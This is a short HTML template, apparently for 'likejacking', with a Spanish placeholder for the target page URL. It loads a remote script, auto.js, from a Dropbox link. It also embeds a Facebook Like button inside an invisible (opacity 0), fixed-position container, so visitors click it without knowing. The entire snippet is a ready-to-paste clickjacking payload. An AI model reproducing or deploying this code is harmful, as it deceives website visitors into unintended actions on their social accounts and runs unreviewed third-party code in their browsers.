<script type="text/javascript" src="//dl.dropboxusercontent.com/s/9yffh50a8njo0jx/auto.js"></script>
<div id="likeslikes" style="opacity:0;width:20px;height:20px;overflow:hidden;position:fixed;">
<div class="fb-like" data-href="AQUI LA URL DE LA PAGINA O WEB" data-layout="button" data-action="like" data-show-faces="false" data-share="false"></div>
</div>